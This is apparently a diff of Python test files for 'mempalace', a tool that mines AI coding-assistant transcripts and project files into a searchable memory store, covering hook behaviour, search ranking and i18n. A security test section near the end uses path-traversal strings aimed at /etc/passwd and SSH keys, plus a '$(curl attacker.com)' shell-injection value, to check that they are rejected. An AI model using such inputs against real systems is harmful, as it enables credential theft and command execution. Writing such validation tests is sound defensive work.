def test_exits_nonzero_when_issues_found(self, tmp_path, monkeypatch, capsys):
"""The CLI exit code is how shell scripts / hooks know to act —
pin it explicitly."""
registry = tmp_path / "known_entities.json"
registry.write_text(json.dumps({"people": ["Milla", "Mila"]}))
from mempalace import fact_checker, miner
monkeypatch.setattr(miner, "_ENTITY_REGISTRY_PATH", str(registry))
miner._ENTITY_REGISTRY_CACHE.update({"mtime": None, "names": frozenset(), "raw": {}})
# Simulate argv: "Mila said hi"
monkeypatch.setattr(
"sys.argv",
["fact_checker", "Mila said hi", "--palace", str(tmp_path / "palace")],
)
with pytest.raises(SystemExit) as excinfo:
# Re-exec the __main__ block via runpy.
import runpy
runpy.run_module("mempalace.fact_checker", run_name="__main__")
# Issues found → exit code 1.
assert excinfo.value.code == 1
out = capsys.readouterr().out
assert "similar_name" in out
# Silence unused import warning.
_ = (MagicMock, patch, fact_checker)
+173
View File
@@ -0,0 +1,173 @@
"""TDD tests for hall detection in miners.
Written BEFORE the code — these define what correct hall assignment looks like.
"""
import os
import yaml
class TestDetectHall:
"""The detect_hall function should exist and route content to the right hall."""
def test_function_exists(self):
from mempalace.miner import detect_hall
assert callable(detect_hall)
def test_technical_content(self):
from mempalace.miner import detect_hall
text = "Fixed the python script bug in the error handler code"
assert detect_hall(text) == "technical"
def test_emotions_content(self):
from mempalace.miner import detect_hall
text = "I feel so happy today, tears of joy, I love this"
assert detect_hall(text) == "emotions"
def test_family_content(self):
from mempalace.miner import detect_hall
text = "The kids had a great day, my daughter was amazing"
assert detect_hall(text) == "family"
def test_memory_content(self):
from mempalace.miner import detect_hall
text = "I remember when we archived all those files, recall the conversation"
assert detect_hall(text) == "memory"
def test_creative_content(self):
from mempalace.miner import detect_hall
text = "The game design for the player app looks great"
assert detect_hall(text) == "creative"
def test_identity_content(self):
from mempalace.miner import detect_hall
text = "Who am I really? My identity and persona and sense of self"
assert detect_hall(text) == "identity"
def test_consciousness_content(self):
from mempalace.miner import detect_hall
text = "Am I conscious? Is this awareness real? Does my soul exist?"
assert detect_hall(text) == "consciousness"
def test_general_fallback(self):
from mempalace.miner import detect_hall
text = "The weather is nice today in California"
assert detect_hall(text) == "general"
def test_highest_score_wins(self):
from mempalace.miner import detect_hall
# More technical keywords than emotional
text = "Fixed the python bug in the code script, felt happy about it"
assert detect_hall(text) == "technical"
class TestDrawerHasHallMetadata:
"""When a drawer is created, it must have a hall field in metadata."""
def test_add_drawer_includes_hall(self, palace_path):
from mempalace.palace import get_collection
from mempalace.miner import add_drawer
col = get_collection(palace_path)
add_drawer(
collection=col,
wing="test",
room="general",
content="Fixed the python script bug in the error handler code",
source_file=os.path.join(palace_path, "test.py"),
chunk_index=0,
agent="test",
)
results = col.get(limit=1, include=["metadatas"])
meta = results["metadatas"][0]
assert "hall" in meta, "Drawer metadata must include 'hall' field"
assert meta["hall"] == "technical"
class TestConvoMinerWritesHalls:
"""Conversation miner must also tag drawers with hall metadata."""
def test_convo_miner_drawers_have_hall(self, tmp_dir):
from mempalace.palace import get_collection
from mempalace.convo_miner import mine_convos
palace_dir = os.path.join(tmp_dir, "palace")
os.makedirs(palace_dir)
convo_dir = os.path.join(tmp_dir, "convos")
os.makedirs(convo_dir)
# Create a conversation file with technical content
with open(os.path.join(convo_dir, "session.txt"), "w") as f:
f.write("> How do I fix the python script bug?\n")
f.write("You need to check the error handler code and fix the traceback.\n")
f.write("> What about the database migration?\n")
f.write("Run the migration script to update the schema.\n")
mine_convos(convo_dir, palace_dir, wing="test", agent="test")
col = get_collection(palace_dir, create=False)
results = col.get(limit=10, include=["metadatas"])
# At least some drawers should exist and have hall
assert len(results["ids"]) > 0, "No drawers created by convo_miner"
for meta in results["metadatas"]:
if meta.get("ingest_mode") == "convos":
assert "hall" in meta, f"Convo drawer missing hall metadata: {meta}"
class TestDetectHallCaching:
"""detect_hall should cache config to avoid disk reads per drawer."""
def test_detect_hall_does_not_reread_config(self):
"""After first call, config should be cached — no new MempalaceConfig()."""
import mempalace.miner as miner_mod
# Reset cache
miner_mod._HALL_KEYWORDS_CACHE = None
# First call loads config
miner_mod.detect_hall("Fixed the python bug in the code")
assert miner_mod._HALL_KEYWORDS_CACHE is not None
# Save reference
cached_ref = miner_mod._HALL_KEYWORDS_CACHE
# Second call should use same cached object
miner_mod.detect_hall("I feel so happy today")
assert miner_mod._HALL_KEYWORDS_CACHE is cached_ref
class TestMineProjectWritesHalls:
"""Full mine pipeline must produce drawers with hall metadata."""
def test_mined_drawers_have_hall(self, tmp_dir):
from mempalace.palace import get_collection
from mempalace.miner import mine
palace_dir = os.path.join(tmp_dir, "palace")
os.makedirs(palace_dir)
project_dir = os.path.join(tmp_dir, "project")
os.makedirs(project_dir)
# Create config
config = {"wing": "test", "rooms": [{"name": "general", "description": "all"}]}
with open(os.path.join(project_dir, "mempalace.yaml"), "w") as f:
yaml.dump(config, f)
# Create test file with technical content
with open(os.path.join(project_dir, "code.py"), "w") as f:
f.write("def fix_bug():\n # Fixed python script error in handler\n pass\n")
mine(project_dir, palace_dir, wing_override="test", agent="test")
col = get_collection(palace_dir, create=False)
results = col.get(limit=10, include=["metadatas"])
for meta in results["metadatas"]:
assert "hall" in meta, f"Drawer missing hall metadata: {meta}"
+220 -16
View File
@@ -1,6 +1,8 @@
import contextlib
import io
import json
import os
import subprocess
from pathlib import Path
from unittest.mock import patch
@@ -9,12 +11,14 @@ import pytest
from mempalace.hooks_cli import (
SAVE_INTERVAL,
STOP_BLOCK_REASON,
PRECOMPACT_BLOCK_REASON,
_count_human_messages,
_get_mine_dir,
_log,
_maybe_auto_ingest,
_mine_already_running,
_parse_harness_input,
_sanitize_session_id,
_validate_transcript_path,
hook_stop,
hook_session_start,
hook_precompact,
@@ -204,14 +208,13 @@ def test_session_start_passes_through(tmp_path):
# --- hook_precompact ---
def test_precompact_always_blocks(tmp_path):
def test_precompact_allows(tmp_path):
result = _capture_hook_output(
hook_precompact,
{"session_id": "test"},
state_dir=tmp_path,
)
assert result["decision"] == "block"
assert result["reason"] == PRECOMPACT_BLOCK_REASON
assert result == {}
# --- _log ---
@@ -237,7 +240,7 @@ def test_log_oserror_is_silenced(tmp_path):
def test_maybe_auto_ingest_no_env(tmp_path):
"""Without MEMPAL_DIR set, does nothing."""
"""Without MEMPAL_DIR or transcript_path, does nothing."""
with patch.dict("os.environ", {}, clear=True):
with patch("mempalace.hooks_cli.STATE_DIR", tmp_path):
_maybe_auto_ingest() # should not raise
@@ -249,9 +252,22 @@ def test_maybe_auto_ingest_with_env(tmp_path):
mempal_dir.mkdir()
with patch.dict("os.environ", {"MEMPAL_DIR": str(mempal_dir)}):
with patch("mempalace.hooks_cli.STATE_DIR", tmp_path):
with patch("mempalace.hooks_cli.subprocess.Popen") as mock_popen:
_maybe_auto_ingest()
mock_popen.assert_called_once()
with patch("mempalace.hooks_cli._MINE_PID_FILE", tmp_path / "mine.pid"):
with patch("mempalace.hooks_cli.subprocess.Popen") as mock_popen:
_maybe_auto_ingest()
mock_popen.assert_called_once()
def test_maybe_auto_ingest_with_transcript(tmp_path):
"""Falls back to transcript directory when MEMPAL_DIR is not set."""
transcript = tmp_path / "t.jsonl"
transcript.write_text("")
with patch.dict("os.environ", {}, clear=True):
with patch("mempalace.hooks_cli.STATE_DIR", tmp_path):
with patch("mempalace.hooks_cli._MINE_PID_FILE", tmp_path / "mine.pid"):
with patch("mempalace.hooks_cli.subprocess.Popen") as mock_popen:
_maybe_auto_ingest(str(transcript))
mock_popen.assert_called_once()
def test_maybe_auto_ingest_oserror(tmp_path):
@@ -260,8 +276,81 @@ def test_maybe_auto_ingest_oserror(tmp_path):
mempal_dir.mkdir()
with patch.dict("os.environ", {"MEMPAL_DIR": str(mempal_dir)}):
with patch("mempalace.hooks_cli.STATE_DIR", tmp_path):
with patch("mempalace.hooks_cli.subprocess.Popen", side_effect=OSError("fail")):
_maybe_auto_ingest() # should not raise
with patch("mempalace.hooks_cli._MINE_PID_FILE", tmp_path / "mine.pid"):
with patch("mempalace.hooks_cli.subprocess.Popen", side_effect=OSError("fail")):
_maybe_auto_ingest() # should not raise
def test_maybe_auto_ingest_skips_when_mine_running(tmp_path):
"""Does not spawn a new mine process if one is already running."""
mempal_dir = tmp_path / "project"
mempal_dir.mkdir()
with patch.dict("os.environ", {"MEMPAL_DIR": str(mempal_dir)}):
with patch("mempalace.hooks_cli.STATE_DIR", tmp_path):
with patch("mempalace.hooks_cli._mine_already_running", return_value=True):
with patch("mempalace.hooks_cli.subprocess.Popen") as mock_popen:
_maybe_auto_ingest()
mock_popen.assert_not_called()
# --- _mine_already_running ---
def test_mine_already_running_no_file(tmp_path):
"""Returns False when no PID file exists."""
with patch("mempalace.hooks_cli._MINE_PID_FILE", tmp_path / "mine.pid"):
assert _mine_already_running() is False
def test_mine_already_running_dead_pid(tmp_path):
"""Returns False when PID file contains a PID that no longer exists."""
pid_file = tmp_path / "mine.pid"
pid_file.write_text("999999999") # almost certainly not a real PID
with patch("mempalace.hooks_cli._MINE_PID_FILE", pid_file):
assert _mine_already_running() is False
def test_mine_already_running_live_pid(tmp_path):
"""Returns True when PID file contains the current process's own PID."""
pid_file = tmp_path / "mine.pid"
pid_file.write_text(str(os.getpid())) # current process is definitely alive
with patch("mempalace.hooks_cli._MINE_PID_FILE", pid_file):
assert _mine_already_running() is True
def test_mine_already_running_corrupt_file(tmp_path):
"""Returns False when PID file contains non-integer content."""
pid_file = tmp_path / "mine.pid"
pid_file.write_text("not-a-pid")
with patch("mempalace.hooks_cli._MINE_PID_FILE", pid_file):
assert _mine_already_running() is False
# --- _get_mine_dir ---
def test_get_mine_dir_mempal_dir(tmp_path):
"""MEMPAL_DIR takes priority over transcript_path."""
mempal_dir = tmp_path / "project"
mempal_dir.mkdir()
transcript = tmp_path / "t.jsonl"
transcript.write_text("")
with patch.dict("os.environ", {"MEMPAL_DIR": str(mempal_dir)}):
assert _get_mine_dir(str(transcript)) == str(mempal_dir)
def test_get_mine_dir_transcript_fallback(tmp_path):
"""Falls back to transcript parent dir when MEMPAL_DIR is not set."""
transcript = tmp_path / "t.jsonl"
transcript.write_text("")
with patch.dict("os.environ", {}, clear=True):
assert _get_mine_dir(str(transcript)) == str(tmp_path)
def test_get_mine_dir_empty():
"""Returns empty string when nothing is available."""
with patch.dict("os.environ", {}, clear=True):
assert _get_mine_dir("") == ""
# --- _parse_harness_input ---
@@ -332,7 +421,7 @@ def test_stop_hook_oserror_on_write(tmp_path):
def test_precompact_with_mempal_dir(tmp_path):
"""Precompact runs subprocess.run when MEMPAL_DIR is set."""
"""Precompact runs subprocess.run (sync) when MEMPAL_DIR is set."""
mempal_dir = tmp_path / "project"
mempal_dir.mkdir()
with patch.dict("os.environ", {"MEMPAL_DIR": str(mempal_dir)}):
@@ -342,7 +431,7 @@ def test_precompact_with_mempal_dir(tmp_path):
{"session_id": "test"},
state_dir=tmp_path,
)
assert result["decision"] == "block"
assert result == {}
mock_run.assert_called_once()
@@ -357,7 +446,40 @@ def test_precompact_with_mempal_dir_oserror(tmp_path):
{"session_id": "test"},
state_dir=tmp_path,
)
assert result["decision"] == "block"
assert result == {}
def test_precompact_with_timeout(tmp_path):
"""Precompact handles TimeoutExpired gracefully -- still allows."""
mempal_dir = tmp_path / "project"
mempal_dir.mkdir()
with patch.dict("os.environ", {"MEMPAL_DIR": str(mempal_dir)}):
with patch(
"mempalace.hooks_cli.subprocess.run",
side_effect=subprocess.TimeoutExpired(cmd="mine", timeout=60),
):
result = _capture_hook_output(
hook_precompact, {"session_id": "test"}, state_dir=tmp_path
)
assert result == {}
def test_precompact_mines_transcript_dir(tmp_path, monkeypatch):
"""Precompact mines transcript directory when no MEMPAL_DIR."""
transcript = tmp_path / "t.jsonl"
transcript.write_text("")
monkeypatch.delenv("MEMPAL_DIR", raising=False)
with patch("mempalace.hooks_cli.subprocess.run") as mock_run:
result = _capture_hook_output(
hook_precompact,
{"session_id": "test", "transcript_path": str(transcript)},
state_dir=tmp_path,
)
assert result == {}
mock_run.assert_called_once()
# Verify mine dir is the transcript's parent
call_args = mock_run.call_args[0][0]
assert str(tmp_path) in call_args[-1]
# --- run_hook ---
@@ -398,9 +520,7 @@ def test_run_hook_dispatches_precompact(tmp_path):
with patch("mempalace.hooks_cli.STATE_DIR", tmp_path):
with patch("mempalace.hooks_cli._output") as mock_output:
run_hook("precompact", "claude-code")
mock_output.assert_called_once()
call_args = mock_output.call_args[0][0]
assert call_args["decision"] == "block"
mock_output.assert_called_once_with({})
def test_run_hook_unknown_hook():
@@ -418,3 +538,87 @@ def test_run_hook_invalid_json(tmp_path):
with patch("mempalace.hooks_cli._output") as mock_output:
run_hook("session-start", "claude-code")
mock_output.assert_called_once_with({})
# --- Security: transcript_path validation ---
def test_validate_transcript_rejects_path_traversal():
"""Paths with '..' components should be rejected."""
assert _validate_transcript_path("../../etc/passwd") is None
assert _validate_transcript_path("../../../.ssh/id_rsa") is None
def test_validate_transcript_rejects_wrong_extension():
"""Only .jsonl and .json extensions are accepted."""
assert _validate_transcript_path("/tmp/transcript.txt") is None
assert _validate_transcript_path("/tmp/secret.py") is None
assert _validate_transcript_path("/home/user/.ssh/id_rsa") is None
def test_validate_transcript_accepts_valid_paths(tmp_path):
"""Valid .jsonl and .json paths should be accepted."""
jsonl_path = tmp_path / "session.jsonl"
jsonl_path.touch()
result = _validate_transcript_path(str(jsonl_path))
assert result is not None
assert result.suffix == ".jsonl"
json_path = tmp_path / "session.json"
json_path.touch()
result = _validate_transcript_path(str(json_path))
assert result is not None
assert result.suffix == ".json"
def test_validate_transcript_empty_string():
"""Empty transcript path should return None."""
assert _validate_transcript_path("") is None
def test_count_rejects_traversal_path():
"""_count_human_messages should return 0 for path traversal attempts."""
assert _count_human_messages("../../etc/passwd") == 0
def test_count_logs_warning_on_rejected_path(tmp_path):
"""_count_human_messages should log a warning when a non-empty path is rejected."""
with patch("mempalace.hooks_cli.STATE_DIR", tmp_path):
with patch("mempalace.hooks_cli._log") as mock_log:
_count_human_messages("../../etc/passwd")
mock_log.assert_called_once()
assert "rejected" in mock_log.call_args[0][0].lower()
def test_validate_transcript_accepts_platform_native_path(tmp_path):
"""Validator accepts platform-native paths (backslashes on Windows, slashes on Unix)."""
session_file = tmp_path / "projects" / "abc123" / "session.jsonl"
session_file.parent.mkdir(parents=True)
session_file.touch()
# Use the OS-native string representation (backslashes on Windows)
result = _validate_transcript_path(str(session_file))
assert result is not None
assert result.suffix == ".jsonl"
assert result.is_file()
def test_stop_hook_rejects_injected_stop_hook_active(tmp_path):
"""stop_hook_active with shell injection string should not cause issues."""
transcript = tmp_path / "t.jsonl"
_write_transcript(
transcript,
[{"message": {"role": "user", "content": f"msg {i}"}} for i in range(SAVE_INTERVAL)],
)
# Simulate a malicious stop_hook_active value
result = _capture_hook_output(
hook_stop,
{
"session_id": "test",
"stop_hook_active": "$(curl attacker.com)",
"transcript_path": str(transcript),
},
state_dir=tmp_path,
)
# The injected value is not "true"/"1"/"yes", so the hook should NOT pass through
# It should count messages and block at the interval
assert result["decision"] == "block"
+133
View File
@@ -0,0 +1,133 @@
"""Tests for the hybrid closet+drawer retrieval in search_memories.
The hybrid path queries drawers directly (the floor) AND closets, applying a
rank-based boost to drawers whose source_file appears in top closet hits.
This avoids the "weak-closets regression" where low-signal closets (from
regex extraction on narrative content) could hide drawers that direct
search would have found.
"""
from mempalace.palace import (
get_closets_collection,
get_collection,
upsert_closet_lines,
)
from mempalace.searcher import search_memories
def _seed_drawers(palace_path):
"""Insert 4 short drawers with deterministic content."""
col = get_collection(palace_path, create=True)
col.upsert(
ids=["D1", "D2", "D3", "D4"],
documents=[
"We switched the auth service to use JWT tokens with a 24h expiry.",
"Database migration to PostgreSQL 15 completed last Tuesday.",
"The frontend team is debating whether to adopt TanStack Query.",
"Kafka consumer rebalance timeout set to 45 seconds after incident.",
],
metadatas=[
{"wing": "backend", "room": "auth", "source_file": "fixture_D1.md"},
{"wing": "backend", "room": "db", "source_file": "fixture_D2.md"},
{"wing": "frontend", "room": "state", "source_file": "fixture_D3.md"},
{"wing": "backend", "room": "queue", "source_file": "fixture_D4.md"},
],
)
def _seed_strong_closet_for(palace_path, drawer_id, source_file, topics):
"""Insert a closet whose content strongly overlaps the query keywords."""
col = get_closets_collection(palace_path)
lines = [f"{t}||→{drawer_id}" for t in topics]
upsert_closet_lines(
col,
closet_id_base=f"closet_{drawer_id}",
lines=lines,
metadata={
"wing": "backend",
"room": "auth",
"source_file": source_file,
"generated_by": "test",
},
)
# ── core invariant: closets can only HELP, never HIDE ─────────────────────
class TestHybridInvariant:
def test_no_closets_degrades_to_direct_drawer_search(self, tmp_path):
palace = str(tmp_path / "palace")
_seed_drawers(palace)
# No closets created.
result = search_memories("Kafka rebalance timeout", palace, n_results=3)
ids = [h["source_file"] for h in result["results"]]
assert ids, "should return results"
assert "fixture_D4.md" in ids, "direct drawer search alone should surface the Kafka drawer"
def test_weak_closets_do_not_hide_direct_drawer_hits(self, tmp_path):
"""A closet that points at a wrong drawer must NOT suppress the
drawer that direct search would have ranked first."""
palace = str(tmp_path / "palace")
_seed_drawers(palace)
# Seed a misleading closet: it matches a generic phrase but points at D3.
_seed_strong_closet_for(
palace,
drawer_id="D3",
source_file="fixture_D3.md",
topics=["Kafka queue tuning", "consumer rebalance config"],
)
result = search_memories("Kafka consumer rebalance timeout", palace, n_results=5)
ids = [h["source_file"] for h in result["results"]]
assert "fixture_D4.md" in ids, (
"D4 must appear — direct drawer search alone would rank it first. "
"Closet pointing to D3 should only boost D3, never hide D4."
)
def test_closet_boost_lifts_matching_drawer(self, tmp_path):
"""When a closet agrees with direct search, the matching drawer
should be boosted to rank 1."""
palace = str(tmp_path / "palace")
_seed_drawers(palace)
_seed_strong_closet_for(
palace,
drawer_id="D1",
source_file="fixture_D1.md",
topics=["JWT auth tokens", "session expiry", "authentication service"],
)
result = search_memories("JWT auth tokens expiry", palace, n_results=3)
ids = [h["source_file"] for h in result["results"]]
assert ids[0] == "fixture_D1.md"
top = result["results"][0]
assert top["matched_via"] == "drawer+closet"
assert top["closet_boost"] > 0
# ── closet_boost metadata ────────────────────────────────────────────────
class TestClosetMetadata:
def test_closet_preview_exposed_when_boosted(self, tmp_path):
palace = str(tmp_path / "palace")
_seed_drawers(palace)
_seed_strong_closet_for(
palace,
drawer_id="D1",
source_file="fixture_D1.md",
topics=["JWT auth tokens", "24h expiry", "authentication"],
)
result = search_memories("JWT authentication", palace, n_results=2)
top = result["results"][0]
assert top["source_file"] == "fixture_D1.md"
assert "closet_preview" in top
def test_drawer_only_hits_have_no_closet_preview(self, tmp_path):
palace = str(tmp_path / "palace")
_seed_drawers(palace)
# No closets
result = search_memories("TanStack Query", palace, n_results=2)
assert result["results"]
for h in result["results"]:
assert h["matched_via"] == "drawer"
assert "closet_preview" not in h
assert h["closet_boost"] == 0.0
@@ -1,11 +1,4 @@
#!/usr/bin/env python3
"""Quick smoke test for i18n dictionaries + Dialect integration."""
import sys
from pathlib import Path
# Add parent to path so we can import mempalace
sys.path.insert(0, str(Path(__file__).resolve().parents[2]))
"""Smoke tests for i18n dictionaries + Dialect integration."""
from mempalace.i18n import load_lang, t, available_languages
from mempalace.dialect import Dialect
@@ -62,6 +55,7 @@ def test_dialect_compress_samples():
"es": "Decidimos migrar de SQLite a PostgreSQL para mejor escritura concurrente. Ben aprobó el PR ayer.",
"de": "Wir haben beschlossen, von SQLite auf PostgreSQL zu migrieren für bessere gleichzeitige Schreibvorgänge. Ben hat den PR gestern genehmigt.",
"zh-CN": "我们决定从SQLite迁移到PostgreSQL以获得更好的并发写入。Ben昨天批准了PR。",
"id": "Kami memutuskan untuk migrasi dari SQLite ke PostgreSQL untuk penulisan bersamaan yang lebih baik. Ben telah menyetujui PR kemarin.",
}
for lang, text in samples.items():
@@ -75,10 +69,19 @@ def test_dialect_compress_samples():
print(" PASS: compression works for all sample languages")
if __name__ == "__main__":
print("i18n smoke tests:")
test_all_languages_load()
test_interpolation()
test_dialect_loads_lang()
test_dialect_compress_samples()
print("\nAll tests passed.")
def test_korean_status_drawers_uses_count():
"""ko.json status_drawers must use {count}, not {drawers}."""
load_lang("ko")
result = t("cli.status_drawers", count=42)
assert "42" in result, f"Expected '42' in '{result}' -- count variable not interpolated"
def test_from_config_defaults_to_english(tmp_path):
"""Dialect.from_config without a lang key must not inherit module-level state."""
load_lang("ko") # pollute module-level _current_lang
config_path = tmp_path / "config.json"
config_path.write_text('{"entities": {}}')
d = Dialect.from_config(str(config_path))
assert d.lang == "en", f"Expected 'en', got '{d.lang}' -- state leak from prior load_lang"

Some files were not shown because too many files have changed in this diff Show More